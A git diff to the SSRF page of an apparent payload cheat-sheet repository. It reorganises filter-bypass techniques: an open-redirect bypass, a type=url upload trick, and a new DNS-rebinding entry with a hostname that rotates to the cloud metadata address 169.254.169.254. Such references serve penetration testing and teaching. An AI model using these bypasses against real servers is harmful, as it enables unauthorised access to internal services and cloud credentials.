diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md index 19ba16e..0b889ec 100644 --- a/Server Side Request Forgery/README.md +++ b/Server Side Request Forgery/README.md @@ -79,22 +79,6 @@ http://localhost:443 http://localhost:22 ``` -Advanced exploit [using a redirection](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection) - -```powershell -1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com -2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP -vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1 -``` - -Advanced exploit using type=url - -```powershell -Change "type=file" to "type=url" -Paste URL in text field and hit enter -Using this vulnerability users can upload images from any image URL = trigger an SSRF -``` - ## Bypassing filters ### Bypass using HTTPS @@ -237,6 +221,30 @@ http://127.1.1.1:80#\@127.2.2.2:80/ ![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_Parser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true) +### Bypassing using a redirect +[using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection) + +```powershell +1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1) +2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://YOUR_SERVER_IP +vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1 +``` + +### Bypassing using type=url + +```powershell +Change "type=file" to "type=url" +Paste URL in text field and hit enter +Using this vulnerability users can upload images from any image URL = trigger an SSRF +``` + +### Bypassing using DNS Rebinding (TOCTOU) + +```powershell +Create a domain that change between two IPs. http://1u.ms/ exists for this purpose. +For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain: +make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms +``` ## SSRF exploitation via URL Scheme